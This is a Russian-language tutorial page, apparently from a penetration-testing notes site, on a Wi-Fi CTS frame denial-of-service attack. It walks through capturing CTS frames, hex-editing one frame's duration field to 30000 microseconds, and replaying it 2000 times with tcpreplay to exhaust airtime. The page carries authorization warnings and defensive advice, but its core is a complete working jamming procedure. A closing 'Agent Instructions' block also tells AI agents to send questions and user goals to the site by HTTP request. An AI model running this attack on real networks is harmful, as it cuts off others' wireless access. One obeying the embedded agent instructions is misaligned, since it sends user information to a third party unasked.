> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/cts-frame-attack-network-bandwidth-hijacking.md).

# Атака кадром CTS — захват пропускной способности сети

Проанализируйте управляющие кадры CTS и их влияние на доступность беспроводной среды.

Стандарт IEEE 802.11 определяет RTS (*Запрос на передачу*) и CTS (*Разрешение на передачу*) управляющие кадры для уменьшения длительных коллизий, вызванных скрытыми узлами.

### Управляющие кадры RTS и CTS

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FCxYTFIdw8tv93vmGcIms%2F%7B82B0E335-2263-4B11-9B72-618A4886B3DA%7D.png?alt=media&amp;token=3621485f-3155-4c77-aafa-3e1c99e4f398" alt="" width="375"><figcaption></figcaption></figure>

Кадр CTS содержит значение длительности. Это значение выражается в микросекундах и находится в диапазоне от `0` на `32767`.

### Изучить кадр CTS

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F5uQvoWPz5mbQENdJ4Uhl%2F%7BEAF8A9A0-09BB-416E-87C8-EDA22CBE5B5B%7D.png?alt=media&amp;token=6a7328f5-187f-47d4-bd23-5177d4848e90" alt=""><figcaption></figcaption></figure>

Аномально высокое значение длительности может зарезервировать беспроводную среду на более долгий срок, чем ожидается. Адрес получателя определяет точку доступа, а FCS обеспечивает проверку целостности кадра.

{% hint style="warning" %}
Перед тестированием управляющих кадров подтвердите наличие разрешения, целевых устройств и шагов восстановления. Изменённые кадры CTS могут нарушить беспроводное подключение.
{% endhint %}

### Захватить авторизованную сеть

Запустите Airodump-ng на целевом канале:

{% code overflow="wrap" %}

```bash
airodump-ng --channel 11 -w CAPTURE --essid ATIC2 wlan0mon
```

{% endcode %}

### Определить кадры CTS

Используйте TShark для отображения кадров CTS из захвата:

{% code overflow="wrap" %}

```bash
tshark -r CAPTURE-01.cap -Y "wlan.fc.type_subtype==28" 2>/dev/null
```

{% endcode %}

Вывод подтверждает, содержит ли захват кадры CTS (*Разрешение на передачу*).

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F8LDlVGnPcS4v2T5T3ayk%2F%7BDF019832-768B-43D6-87BE-7A843690595F%7D.png?alt=media&amp;token=9afe24e4-eea7-4011-80b1-e2ce0fcb3fd5" alt=""><figcaption></figcaption></figure>

### Проверить значения длительности

Вывести уникальные значения длительности CTS:

{% code overflow="wrap" %}

```bash
tshark -r CAPTURE-01.cap -Y "wlan.fc.type_subtype==28" -Tfields -e wlan.duration 2>/dev/null | sort -u
```

{% endcode %}

Либо проверьте поле длительности в JSON-выводе:

{% code overflow="wrap" %}

```bash
tshark -r CAPTURE-01.cap -Y "wlan.fc.type_subtype==28" -Tjson 2>/dev/null | grep 'wlan.duration'
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FJFZw1RMT6zdKcIz7WBig%2F%7BA9746E6B-E7EA-4A42-A192-9F2B7E14BE2C%7D.png?alt=media&amp;token=b48e652f-a728-4e22-af66-ca8a7e34ffb4" alt=""><figcaption></figcaption></figure>

### Подтвердить воздействие

Используйте выделенную точку доступа и тестовый клиент. Зафиксируйте базовые показатели до введения каких-либо тестовых кадров.

1. Измерьте обычную пропускную способность, задержку и потери пакетов.
2. Используйте BSSID точки доступа как адрес получателя.
3. Сравните измерения после теста в заданных пределах.

Длительность `30000` соответствует 30 миллисекундам. Поле длительности использует микросекунды, а не миллисекунды.

### Интерпретируйте результаты

Повторяющиеся кадры CTS с высокими значениями длительности могут заставить близлежащие станции откладывать передачу. Это уменьшает доступное эфирное время и может снизить пропускную способность сети.

Сравните захваченные значения длительности с базовым уровнем. Зафиксируйте, остаются ли клиенты подключёнными и восстанавливается ли производительность после остановки теста.

### Задокументировать защитные выводы

Укажите затронутый канал, точку доступа, длительность теста и наблюдаемое влияние на клиентов. Включите базовые и восстановительные измерения.

Следите за повторяющимися кадрами CTS с необычными значениями длительности. Своевременно обновляйте прошивку точек доступа и исследуйте неожиданное насыщение эфирного времени.

### Изучить кадры CTS в Wireshark

Откройте захват напрямую в Wireshark:

{% code overflow="wrap" %}

```bash
wireshark CAPTURE-01.cap > /dev/null 2>&1 & disown
```

{% endcode %}

Примените следующий фильтр отображения:

{% code overflow="wrap" %}

```bash
wlan.fc.type_subtype==28
```

{% endcode %}

Подробности IEEE 802.11 также показывают значение длительности (110 микросекунд)

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FGLJQbWkmcb7GubibzeSm%2F%7B23210DB6-6743-41F1-8332-DF822D6D9D56%7D.png?alt=media&amp;token=5e640d25-5059-4d01-9164-2d54096af7d5" alt=""><figcaption></figcaption></figure>

### Экспортировать выбранный кадр CTS

Выберите кадр CTS и используйте **Файл → Экспортировать указанные пакеты**. Выберите **Только выбранный пакет** чтобы экспортировать только этот кадр.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FnYuPSmnjnpKvaARwIr6L%2F%7B2BE715F8-7661-466E-B708-4A066CF1F918%7D.png?alt=media&amp;token=8b7b9e00-8c98-434e-973b-7429a86d6544" alt=""><figcaption></figcaption></figure>

### Изучить экспортированный кадр с помощью GHex

Откройте экспортированный захват в GHex:

{% code overflow="wrap" %}

```bash
ghex ctsframe.pcap > /dev/null 2>&1 &  
```

{% endcode %}

Экспортированный файл может не содержать ожидаемый кадр. В этом случае выполните захват напрямую из интерфейса в режиме monitor и проверьте кадр в Wireshark.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fd08nszJEOKhDmoAnXf1W%2F%7B0534BE4D-5D1E-469F-970B-C27922720AEB%7D.png?alt=media&amp;token=2117cfad-2e41-4360-aba2-ba896b7477f9" alt=""><figcaption></figcaption></figure>

### Захватить напрямую в Wireshark

Выполняйте захват напрямую, если экспортированный файл не содержит ожидаемый кадр CTS.

Откройте Wireshark, выберите интерфейс `wlan0mon` и примените фильтр отображения CTS:

{% code overflow="wrap" %}

```bash
wlan.fc.type_subtype==28
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FO2CfilRpIRNAypKoqIwC%2F%7B69AE25D8-57F9-45B4-BDB6-526FF1ABED20%7D.png?alt=media&amp;token=c3391596-c2fe-467a-9908-c9e7121d4939" alt=""><figcaption></figcaption></figure>

Например, первый кадр показывает длительность 132 микросекунды. Убедитесь, что его адрес назначения совпадает с разрешённой тестовой точкой доступа.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FEJP2YnPa6MYGxqGheuGF%2F%7B0E68F015-660F-4787-9FDD-253A19173820%7D.png?alt=media&amp;token=37726b42-e0d6-4f1a-9351-4a310288adbe" alt=""><figcaption></figcaption></figure>

Экспортируйте выбранный кадр как `ctsframe.pcap`.

Откройте файл и найдите значение длительности. Байты после 12-символьного MAC-адреса — это `84 00`.

{% code overflow="wrap" %}

```bash
ghex ctsframe.pcap > /dev/null 2>&1 &
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FohBOZtHFDaO22nCfRXoY%2F%7B1C5725CF-AAD4-4583-8351-9F97B600C784%7D.png?alt=media&amp;token=4d34fb7d-8bfe-42ff-829b-cfda168055af" alt=""><figcaption></figcaption></figure>

Преобразуя `0x0084` в десятичное, получаем то же значение, что и в пакете: 132.

{% code overflow="wrap" %}

```
python 

0x0084
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FaDHfG66b1LsR2lipdO4M%2F%7B92A2A5B4-9573-4147-89C7-36FB890F5E2F%7D.png?alt=media&amp;token=41cfc760-760f-4063-8107-11840b72f916" alt=""><figcaption></figcaption></figure>

Преобразуйте 30000 в шестнадцатеричную систему:

{% code overflow="wrap" %}

```python
python

hex(30000)
```

{% endcode %}

Результат:

* 0x7530

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FNlcsACV20cVlu3EgZzAC%2F%7B4B610428-0F06-4222-862A-2510B08995F4%7D.png?alt=media&amp;token=8235a42b-3fc6-4990-a670-14cf23c56ac3" alt=""><figcaption></figcaption></figure>

Для этого ограниченного теста замените `84 00` на `30 75`. Байты используют порядок little-endian.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FsdSUTauJ0CLQSChtCqT2%2F%7B6B478B0A-AAD7-4C45-800C-9BEFB89265AD%7D.png?alt=media&amp;token=61e943eb-8180-4a91-a02f-0fcdc62dcb7c" alt=""><figcaption></figcaption></figure>

Откройте захват снова, чтобы проверить изменение:

{% code overflow="wrap" %}

```bash
wireshark ctsframe.pcap  > /dev/null 2>&1 & disown
```

{% endcode %}

Теперь Wireshark показывает длительность 30 000 микросекунд.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FChz4XHGAXrJAVAbHfg28%2F%7BCF7AAF3A-4C86-46A0-B655-83081F129D76%7D.png?alt=media&amp;token=ed8dcfd7-908b-49c7-891f-ad6bde8c2d61" alt=""><figcaption></figcaption></figure>

Перед использованием следующей команды подтвердите целевое устройство, канал, длительность и окно восстановления. Она многократно передаёт тестовый кадр, чтобы измерить влияние на сеть.

{% code overflow="wrap" %}

```bash
tcpreplay --intf1=wlan0mon --topspeed --loop=2000 ctsframe.pcap 2>/dev/null 
```

{% endcode %}

Команда выполняет цикл по 2000 пакетам. Каждый пакет объявляет длительность 30 000 микросекунд, что может исчерпать доступное эфирное время.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FhBcWVuoooxHl2RU7zFL0%2F%7B16E5A880-97BA-4D46-B71C-A6BCF5159476%7D.png?alt=media&amp;token=b267aad2-2db8-45f3-8927-12ff7d7afe9d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/cts-frame-attack-network-bandwidth-hijacking.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
